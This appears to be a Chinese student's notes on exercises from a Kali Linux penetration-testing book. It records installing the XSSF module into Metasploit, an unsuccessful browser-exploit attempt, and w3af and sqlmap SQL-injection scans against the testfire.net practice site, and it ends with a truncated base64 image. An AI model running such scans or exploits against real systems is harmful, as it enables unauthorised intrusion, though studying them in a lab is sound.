p163 XSSF
默认kali 2.0中没有xssf,先下载:https://code.google.com/archive/p/xssf/downloads
将下载下来的zip文件解压,将其中的data, plugins, lab等文件夹合并到/usr/share/metasploit-framework/中的相应文件夹,然后即可在msfconsole中load xssf。
按照书上的做,但是最后的攻击并没有成功!
msf auxiliary(browser_autopwn) > xssf_exploit
[*] Searching Metasploit launched module with JobID = ''...
[+] A running exploit exists: 'Exploit: windows/browser/ie_createobject'
[*] Exploit execution started, press [CTRL + C] to stop it ! [+] Remaining victims to attack: [[] ()] (停在这里一直不动) ^C[-] Exploit interrupted by the console user
p180 实践作业
1、探测www.testfire.net中存在的sql注入漏洞:
root@kali:~# w3af_console
w3af>>> plugins
w3af/plugins>>> audit sqli
w3af/plugins>>> crawl web_spider
w3af/plugins>>> back
w3af>>> target
w3af/config:target>>> set target http://www.testfire.net/bank/login.aspx
w3af/config:target>>> back
The configuration has been saved.
w3af>>> plugins
w3af/plugins>>> output html_file
w3af/plugins>>> output config html_file
w3af/plugins/output/config:html_file>>> set verbose True
w3af/plugins/output/config:html_file>>> back
The configuration has been saved.
w3af/plugins>>> back
w3af>>> start
成功扫出 8 URLs and 10 different injections points.
用sqlmap去扫
sqlmap -u "http://www.testfire.net/bank/login.aspx" --data "uid=Admin&passw=a&btnSubmit=Login"
检测出后台数据库的一些信息
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAArAAAAA8CAIAAAARyx5rAAAgAElEQVR4nO19eXwUVbZ/aq+62fdF1gQQmIGExZlRIWFfskIIi4qsWWAcxicOEBafCoSnP31vXIIoizoyz4VBwCeIoKJASGQZo7Ik6UzSSRAV0iZNQjoJEev3x626fbuqurrSYRGmzud8+lN99/1869xzb/kUFxcDk1QkCEDgAc8LPCfwrMCxAsfwLMOzNM9QEtMkRxMcTXDUncuwgjTJoVqzNM8yPMfwHCvwrMBzAs8LAg8E4Vb3mUm3jgQPLNwodkNSqQTAchxF0wRFESRJkCRBEgRBECTpQxAERdEsy3Acy/MsB5lDDwzOLEdLzNIsSzEMSVE+BOFD+BAEQRAEzJHlOZqlKZamWBp/QEwxFMVQJE2RNEnSFElTlCYzFM3QDMuwPMvxHC/w2szzLM8xHEuzDMXSFEMzHMPyLMuxDCf90iwj5c7QFE2pMyXlX6lUFElSJEkjRqUlSblgNEvTLENzDM0xDMcwHMvyLMtzctYMwzE0y7AcqxwhAjYkBAH1Hw+ZFzieVzOsKsfzvCAIAuAEgWZZmoEdwdIMS9EMSVEkTVMMQzEMRdMESfr4ED4+PqiDCILwIZx/fAjCRybJxYegGQYOHUEQeIGnaNqHIHx8CIIgKYpmWJYTBB4AluNIiiII0pk0QcIUfOQsfVwzJSkKlo1mWIph5KFIkiRFEKSPD1YWkqRomqRpkqJcmSYp6E67OjofaJ7xmhmOFkgC+Pj4mIDgOpAgAQgBzlRO4DmBY2WGSILhWVpiJFwlJnma5JxMaLO2qFYzlhRDKvNCZYBFgnIdMiw2L81OIMCJa5JJBujXCQh4QWBYlnQBBDLLyzTDcawLJsDBgQYgoBiGpGmYAlr6YY6cKyCgNQABLQMCJ6vRAMVQFEPTLM1wDMuxHM8h5iEJPC/JS47lWFYSySzDQWYYlmE4hnE6MohpVn7gGCTXIVghcWSgKCFD0wwtx5Wyg4wXD89OCQgkBIC6zdl/cMnRRAMIE8iAQOB4geEQMpO6QwEISJKURD4mm1F/yYzBATkwy7JwxPKCQDMMIeMGKKdZnpNACc9LvnjiPs4cNQCBXDySpglCBgQURWDQBIVUoQFXWKDt7j0gYBkK+PhANgGBSSaZ1FX6tQECCAl4QaBZlqQoCRAQhIwGSIIkSZqGGgLILMezPMa4nkDWDdCs9D4qpaYCBPBN3R0gcFUSINmvxXJ4TPpCoavUE0AYz/EcJzilMpLTrPyX5TlJnQClNc8yHKMCKzQEIkgNwGghACdzzlJ1BhC4EO8JEOAaAl4FCGgVIIBwTdYBEC5aAlw3gIEDZ1eSJMwFjiCappEWgaQoSUkgCCzPc4JA04ysJyDhgxqCwGRJkpQwAU1D7YI0Al0BAcxFSz2gVglcN0DAsDTwIYCPj+DjwzGUCQhMMsmkrtItAwSSgldexDH9gAAAx/NQgUyQTkLIwAkIWIQJnIyAghMKuL6SSi+F+JYBx0EdAMayoMU0BApHBB1kd4rC1AxQHkMpiwlg/KWcUzg6dQZwNwGJeZZBZdDCK7Ls1xD/HP5XLo+0MeFaEo+AQIPUgABiMo7nOR7uJvDaGgKWpRmGpGj5/Zt1AQTSW7v2ZoFCZqO3eYqmeZ4XBMDzPElRTmktDxhYNgEAhmVdUSaBMsW1RwgQkPJegFND4AQuchaU5n6BIfYOEAgkCXUDDEvTPGMCApNMMqmrdKsAAS+4MEIEvCDwAs/A7V4FIICvdFqAQMmYYsDJUClNUfJrqGLLgHHKe7cKACiJMY091N4j0OAiqiEgkHbl8dd9+MbPyHGVGwEsgyEApexHGwfOnQXV2z+D2SKwnAsOYHgNjCIDAilZludcRoh7QjYEcD9EqSGQfGVAIAgSUOM4imEomiFIiqQoimbwLQO1MsC5NaCAAwr9AUGwHMcLAoWhAen1nabhHhPPCwIANLQGQICAdAIOTQ0BZKSggowXkpQNCIjOowHCK0DAcDREAxwtRe8qIBBFsUsLiUk3ksze8Y5++umnnj17Khx79epls9lwly427y3pneDg4A0bNlRVVbW2tlZVVW3YsCE4OLjryXYWEKSkpOzbt89utzc3N3/11VfZ2dm4b+a0aefOnWtrazt79mzGlCm4V3JK8j//+U9RFOFfTpB2l5OTk/EEFyxcyLCstB2L2Q1IazFBEiRJ0YwOIKA10QDLQiGkCQh4gXfZs2ddxbwTItA0S9PYvj4my2kKYyS8EXrAwrMMxzKsSxTXZwwWcC42gFCcu7z04/YHcuFRRqzMeABaNkdw2Z7AArCcExAIMlzjdQCBpCSAfSooAAG0nhAEgeN5pLmRAYGkfkdbBiRJae8O+DjVBgr1gDO8vJEvowenRgGiAYaTLAmQ8gk3TFEDAkkdReKAgHACAh8MEHgwILj+gABZDzAcbQKCO4H02//27Z1bW/Jjx46NHTtW4Thu3LiioiLc5XYEBK+++urBgwcTEhJCQkLi4+P379+/adOmrifbWUAgiuKRI0fGjR8fEhqSMGTIoUOH1q5dC72G33PPpUuXklNSgkOCU1JTL126NGToEBTxyJEjEyZORICA5XmG4ziexxIMTUhI+Oyzz5586ikSLdkEqVy7SZJiGJplaU3dgNOQEEEBTt41YCjaxa7QFRBw6o127N3aRdC6vnkz6F1ffTxB8XKPv987zxGwSvGvASCcebGuKSiSVQRWBsO1F2pAIJspKAEBvjXA8y6qHQjsWF4+6MHD8xXOXQP3gECWoJgNAZK7uD4AF9UKzQECdk61P27rh6n04WCABSMpygcT7XKOUi4uoEBSTlEEqdIQIMBBkqRsZHDTAAFHS4AAuZiA4PamO7X9b229Xn/99by8PIXjokWLtm3bdh1zuSV1tNlscXFx6G9cXFx9fX3Xk+0sIHjhhReAr9O9b7++ly5dgs/btm3Lz89HXqtXr96yZYsaT8AHhuNolmF5/q9//SvA9NJxffpcvHQJbSdDK3GaZfG3OgkQuNsvcDlcILEECFz10gRJylsGPBLzuCUg2ubHFf64BQC2N68BCFQ6A9pF4a98occluiqY6/aEKh0lDlDvaCgY7RrIaEAbEPCyWQDa/mdYVqmYYTl4Kk/y5TiW4yRAIO0mSMgARaEYBtnZOc34KRrbG0Ky3wc/VoBwggIQ4O/rOCJAWIGSt5loaECg1BCQLvEIGXMg4xVnMCUgIElSdarQMJPXBRCwTkBQV1fXv39/xSTv379/XV0dfM7KyiotLW1ra6urq/vzn/+MwoiimJeXV11dffXqVYvFol5GNalnz56bN2+2Wq0Oh6OpqenTTz+dMmUK8nWXF8qxZ8+eO3bssNvtNptt+fLlAICysrKkpCQUJikp6dy5c11JUJ/y8/OtVuvVq1etViseXhTFnJycqqqq9vZ2i8WSnZ2Nx/KuGFlZWSUlJe3t7Tabbfv27TExMSi8ghSpqR2h+4QJE4qKilpaWmw2286dO3Hd+IIFCywWS3t7e1VV1fz5841ILJ2uLC0tTU9PRyHHjh1bVlbmMZZ+vXTG4c6dOxsbGwsKCj755JPGxsbc3Fx13Q3K4Pz8/Oeeew4AsHjxYtinAIDnn39+xYoVikKqs9Bp3tzcXNi81dXVeXl5eHTNEaU/K/UnkTuqr6/v3bs3+tu7d+9Lly4ZbBPNMY8qrhi9nbIh6Na9W0NDA3wuLy8fOmwo8hp+z/CysjK3gIBlaYZhJS2uIAhSjnd169bQ0ADPfJPQPpznWZ6TAAFhDBBwHM3hgEDeMkCH3ZWAgEOKdBd9u+p4npqRRZ5z498VEEgyWPne74Exce7KypCq04mcBgJQ4RKakZQEmoDAaVQoSXH5Cgdsj5yWXotp+ZA9TcuYAAECHpkX4ICAlgCBnJQTEFDY+7oOETggIOQNBVK29cNxA0lJEh1uTNDSAKAg+EB6AALDiEj/74P7YjatLoDA8/kCj4CAvJ5bBu++++7s2bMVk3z27NnvvvsuACAjI8Nutz/88MORkZEjRoywWCypqaloIbBYLGPHjg0PDx81apTFYsnMzPS4uBQVFa1evbp3794BAQE9evR44IEHvvjiC+ilkxfKcf/+/fPmzYuJiendu/drr70GAFi3bt2LL76Iwrz00kvr1q3rSoI6BKXm6NGjw8PDx4wZU1lZOXfuXHetkZGR0cVifPHFF8nJyaGhod27dy8sLNy5c6cilk5RNSVWaWnphAkTwsPD+/Tp88477+zYsQN6paWlVVVVQa+kpKTy8nIj4lOnK//0pz998MEHKOTGjRvXr1/vMZZOvfTHYUZGRmpqqiiKU6dOnThxYkVFhbruBgHBlClTdu/eDQB4/fXXGxsbN2/eDADYs2cP6k13hdRp3mnTplksllGjRoWHh48dO7ayshJFdzei9GelxzbUpGeeeWbv3r2DBw8ODg4ePHjw3r17CwoKPMbSGfOo4orR2ylAsGHDhtdeew0+X7lyJTQsVABCSUnJsWPHwsLDmpub3QEC+NLPcBzHI7tCwAtCQUHBpk2bKJqmaIblOE4WJJRsCOZDENCo0O2WgZu9A/Qair/q4UaFOlv+ag2BAhM4AYF616AzUEAt/t1FV2434HYPrBKUIPtEzFCRYVxuQXAqIdSAgGZY2G6yrl5jK0eSuC4aAt550ACeQXDREEjhkYaAoCgfqAGiaQpTwivuotC4n8DHh6JpjuPgHQOEDw4IJLlLki7b/DB9giDxpBAAhfAFDjkfDDGgfQSCJJ32A9r3EXnAAdBckfBWQ0DLRoW8jCckQLBkyRIoUGNiYmw2W0REBADghRdeWLJkCQCguLj48ccfR72bmZl58OBBtBDgb4FpaWlG9iCampqGDh2q6aWTF8pRrYdISEg4f/68r68vAMDX1/e7776Lj4/vSoI6dOrUKVyWZ2RknDx5EiWlaI2jR49ex2JERkY2NTUpYumE15RYiYmJ6G+vXr2Qxvjo0aP4K2ZaWpoR8anTlREREY2NjbGxsQAAX1/fCxcuDBkyxGMsdyUHnsZhSEhISEgIenA4HB4L744GDBhw+vRpAMDp06eff/750tJSAMCZM2cU7+udat7i4mLFsEHR3Y0o/VnpsQ01KSgo6MiRI0jDcfjw4aCgII+xdMY8qnheXp53pwymz5hhtVrv6nYX/Hvt2jVfP18BCCdOnCgpKfH187127ZqOhoCkaZqR5AfDsgzLZmZOq66uDo+IICmaYTmFshotu5QMCPDbCNRoQHHWwKmXRjZiCkCgMuVzI49d1Aa4hkBpUahhDaDeAtDIjpYDuFMbOI9BusAC7d0K7PQErbg9SbnLwNKKmwqdgMDV9sKFECBAxp4cxyoOGmB2BpIZAToKKFsVwE6hGUa2QpCtE3jnZVM0w5AkqVAS+BAEw7K8ILAch18gSBCk9BaObhPCsAsp31qI0qFomnVucAgMxyF9El5Tp4ZA1ii46k4o7bMGrkdmZNMEkqS9PHbIU9KxQ5bBjh0OHTr02LFjAIBly5Y1NTVBZezRo0fhiuNwOPr06YN6NyYm5sKFC2ghiIqKQl5RUVGNjY0e15d169a1tbUVFRVt3Lhx2bJluLZfJy+UI5QxCjp9+vSYMWMAAGPHjoWreRcTdEd2ux2vcnR0tN1uR0kpWuOnn37qSjFiYmI2btxYXV3d2toKV/BffvlFEUunqJoSKzAwUDNMQ0NDdHQ0XngjgECnKwEAW7duffrppwEA48aNO3v2rMFY7uqlPw7dPXhBvr6+UAC3t7fHxsa2tbWFh4fbbDaIOHUKqdO86mGj4wVHlP6s9NiGmvTqq68eOHBgyJAhISEhQ4cO/fTTT40YFeqMeVTN2NhYLwBB1vTpFy9e/N3vf49ckIYAsr6GAAIC2RqLJikqY8qUH3/8MSFhCNQBuJ4akN/1GZZmnFKHZvVPHioAgXPXAL0sIkDgoqXXFM+YxMWRgZYNgRIN0G7kuq4toebGAX4pAoWbJrioBxT6APwgpXyrkvq4BNprYFwBAc1xFMM6N/ixTXf5BRud/qA1AQE8fSDJdRnhIXUCPI5Iy+MB7iLBe4Scd67CQQMAMgnETx8QJIlSRu/uPvI1hWhfg2Kkg44YICCwWsgaAo53HmBhOXSBklQ7aEjBMDTDOO9WQlBAfu/HHEmSUmlTsJakGG/QAA1PHhKEfPiQlACBr6/v+fPnAwICysvLs7OzS0tL/fz8amtr4QrocDgU27rXrl1DC4E7EahPAwcOXLhwYUFBwb59+xwOB1L46+SFctRM8Kmnntq4cSMA4JVXXnnyySeRu9cJuqNOAQIEj7wrxr59+7Zv3w6XbwBARESEIpgXgMCdiwIQ4BJLn9x1JQDg3nvvra2t9fPz27hx49q1aw3Gclcv/XHo7sE7+uabb+bPn//NN98AAL799tt58+Z9/fXXijCdbd7OAgL9WQk8taEmNTQ0KIwKjUxYI4DAi3sIHp4zx2az3T9iBO6osCEYNnyYvg0BiamCZ82aVV9ff8899xAk6SMfLETynnYn+1lOx5JA4/whwgQMA7GI65aBU8Ov+b6Oa+PRVYBIga+pHsBBhtLcT2m1oMYBGsaAFOt6BlLrykINlYDi0mUJTCgKQ2sDAuz1Xcscz/n2LKl8pF0DlzsKJUDA804NAcOQDCNdQS3vCtEMKx9V4DjXOyqgIQLLc+jtHL24kxTFw/0IliUpCtkXkiSF9T6DTjdQNE2zDGYlgCpAUgzDcjzDybhTRgAQu/CCwAMACwaw+zRxNYC0IyCjAQUOUDxIxx+8AgQ0zzAsLRCqq4s//PDD5cuXQ7Ov8vLy3NzcDz/8EHoVFRWpj2WjhQDfWE1NTUVKcuOUkJBw5coVj3mhHDXdBw0a9P333wcEBPzwww+DBg1C7l4n6I4U6tP09HR8y0DRGqh5vStGc3MzLqSnT5+uCNbR0REQEGA8TR0XxZZBenq6FzIV70pIp06dmjZt2oULF9AmjpFYmvXSH4fuHryj99577+DBg9CSY/PmzQcOHHjvvffcZWrEpaioyOCWAT6idGalgtRtqEkNDQ24liUuLk5xuYIm6ZQQkheA4JFHHmlubk4aNUrh/vrrr68wfsqAdX4qJjc3t6mp6d777kMaXZphXRX+soDXBARuMAF+U6GGnoBhKJrBAAHtKmKVb+34K7ji9ZrWBATOPQgnRNAW/FpqAA2zRO1jC5o7ApT0rPWNA1lJoLHdAFN2BwhIV0mmAQgwMwKkJHC5xBD1C8NSNINsBZxv5HJElx0HjOElg87zAwRBEARF0wIALM/DlJGSgKQoWroAkSLksiHjR4U5AqwCxTAsz1MsQ2J6BThUKIZhpNsvWI7ngfI+TdkyQN4LIEiSoLRazJW7AgigngDuHTgBQX5+fnNzM1Twrl27tr6+Pj8/H3qlpKR8/vnniYmJYWFh0dHRM2fOPHz4MFoILBbLmDFjwsPDExMTy8vLjZg6l5SU5Obm3n333QEBAbGxsc8++2xJSYnHvFCO7pL9+uuv161bB3d8EXUlQU1auHBhRUVFUlISshycN28eSkrRGllZWV0pxtGjRzds2BAdHR0dHf3ggw9WV1crglVWVs6ZM8ff31+zqJ2SWBkZGcioMDEx8cyZM0ZaRqcrIS1evNhqtZ45c6ZTsTTrpT8O3T3gNTXe12vXrv3555/nz58PAFiwYEFHRwecGooEjbtMnTq1vLw8MTER2uVZLBbkpTOidGalxzbUpDfeeOOTTz4ZMmRIcHBwfHz8gQMHtm7d6jGWTglRNTsFCNasWdPR0ZE5bZraC95DMDk5OSg4KDklRXEPgRIQyN+Oy8/P7+joSEtLQ7Z+FE1LigHna730lTxaceYNBwQqWKB1WaELGsA1BE7FPn5nsHsRrla2a19JJAMCt5oAFQgwAgiUeweK65YZnW8dqT+74BkQkPI9UV0CBBzHyJs+8iFD6esAJE3TroCAw+48xu9Bkj9c5PI5A6jqR6YG6G4ikiRpxqkJICmaYhgf+ZQKobJFIAiCYhhoTkjSNOHcDoAf2XKeieB4AV6BjG8WSHsB2F8dJiUDSe+3DBTsBASJiYmiKMJ360GDBomu5lGTJ08+cuRIc3NzS0vLoUOH0HuwKIo5OTno2KH6rJcmTZw4cffu3Q0NDa2trdXV1YWFhT169PCYF8rRXbJr1qy5evXqmjVrFO5eJ6hJvr6+q1atqq2t7ejoqKmpQQs0kE2r4OmsysrKxYsXd7EY/fr127NnT2Njo8PhKC4uHjdunCLY9OnTrVbrtWvXcHdRi9zlgrvk5ORUVlZevXq1qqpqzpw5V69e9dga+l0JAAgPD29qakKHPgzG0qwX0B2H7h4UzeKxRpAeeughURQHDhwIABg4cKAoig899BCejhfNm5eXZ7FYrl69Wl1dnZOTg7x0RpTOrPTYhpoUFhb2P//zP1arta2tzWq1Pv/886GhoR5j6ZQQVbOzFxOpqVv3btA3c9q0srKy9vb2c+fOKW4qVERh5OPgmglGx9yFC3UkxWnWiQxw5YG+eoBSKQag4QJFuQACeOIOXuLrFJYGjwiq7htQXASk0igoxbDG55Q02e3lyopvNLt8B5lSowEEIFxzVGwZsJwECAjS05YB4QQEsFNYTLQ7jQflxifk+yJ9COl71gjtKZAEQgOStYF8elBxbhBdaE0zDEnJn8l2njOUZDkMJp0gUHwuwYegWVYAgOU4mnEqMHBrVmhJwAPACwI6PEmQ8jaBu1bSbDeoDGOvNyAwqevUWWzxa6aBAwdaLJaup+Pv7//DDz8kJCR0PSmTfrV0q75lwGBfl1cslOiiWVclAYMzkvRKnYGr9QDlYjTA4Is7gRkVshwLRSPCBLq3AGkcHNB8oacV+EATCmCW/26/maT3hQVcJUCqoYC2bkCVAl5a1gUQcJQKEJBuAAHhBASKG4qUuwbw5IJkIiorFVBfS33KctALHTFgeZ6Rzh3I37JiWYZhGfnDRSgdkqZ8SCfOoJ1DRUrN+TkDhAbgaQVOAgTIysQ5ZmjpU0zwxkPsgm3DIABvMfmajS5uGZiA4IbQ7Q4IPv7444kTJ0ZERAwYMGDfvn1PPPFEFxP09fV97LHHTp06dV2KZ5JJJplk0o0jExBcT7rdAUFWVta3337b2tpqsVieeOIJHXNFgySKYm1t7ciRI69L8UwyySSTTLpxZAICk0wyySSTTDLJBAQmmWSSSSaZZJIJCEwyySSTTDLJJACAzzj/ZymCM9lkk0022WST/525qxqCX4MZnfo4uLtgN7NINy2v60VGykwRnPraL03GO8VglFvF8+fPF0Vx/vz5CveFCxeeOnXq8uXLly9f/nDv3kmTJyuqduXKldOnTy9ZskQAwEiDvLdjh8JF3VaKRtPxuu2qTBHcjavy5OTkvfv22e325ubmr776auHChQabYmpm5rlz59ra2s6ePZuekWEkin7x3CWojtXW1uax8DqxvGNRFI8fP47+njhxQt2812WMXUdWLzsZU6ZYrdZffvml60XV6UodL3czRYcDg4IKCgqqqqpaW1urqqoKCgoCg4KMlNCLIeo13wmAAJF+Ya5vUW9mXjcnIyNJGQcE+KS6oSO46/zmm2+WlZe/8cYbuOO6detKSkpGjBwZHBwyaPDg//3ft3GJBR9CQ8MmTppksVgef/xxI+1w/vz5AQMHqlvGSBNd32a8JVVWAILrW2VRFI8cOTJ23Ljg4JD4hITPDh16+umnPcYaNny4fCtiMLwVMWHIkK4UzHiCzzzzzObNmztbeDyWdyyKYn19fb+77+YF4e7+/evr629HQPCvf/0rOSUF+Pper5LrRFR76cwUHd60adOBgwcHx8cHBQcPGjz4o/37X3nlFY+xvBuiXvO/ESC4ffPSIRMQdJ2rq6vnzJ1bVVWFO9pstr79+uEuTzzxhGaNRo0eXVZebqQd8vPz8dX8FgKCW1LlGwoI/vrXv+JKiz59+166dMljrK1bt65YsQL9XbVqlRFxq1MwgwmGhYfbbLb+AwZ0qvCKWN6xKIpbtmxZtWoVLwirV6/eunXrr3+Gqpedn3/+WVNHdXMAgc5M0WGbzdY7Nhb97R0bW19f7zGWd0PUa5YAQV1dXX/Xb70DAPr3719XVwefs7KySktL29ra6urq4GdYkRTJy8tDVxfn5eUZFD9ZWVklJSXt7e02m2379u0xMTEowZycnKqqqvb2dovFkp2djeflzktfpCGdj9pr5syZX331VVtbW21t7aJFiwyWUEEG88rPz4e3Glut1uXLl+NRJkyYUFRU1NLSYrPZdu7cqf8ZJCPFcNdfOlXWKYbC6x87d3bv0QONoRUrVqB6LVu2zOBM04k1f/78Coulvb29qqpq3rx5KIXS0tLUtDQUbPSYMWVlZersOrUo9O3Xr76+Hvj62my2Pn37Ine73R4bF2dkgQgNDWtpafGYkSiKYeHh33//fY+ePRXp3GRAcKuqfEMBgYLv6tatoaHBY7Cy8vIhQ4eiv8OGD1ePqE4VzGCCq1ateueddzpbeP1YBlkUxfETJnz99de8IHzzzTcTJ03Cq4MWE3XE6TN*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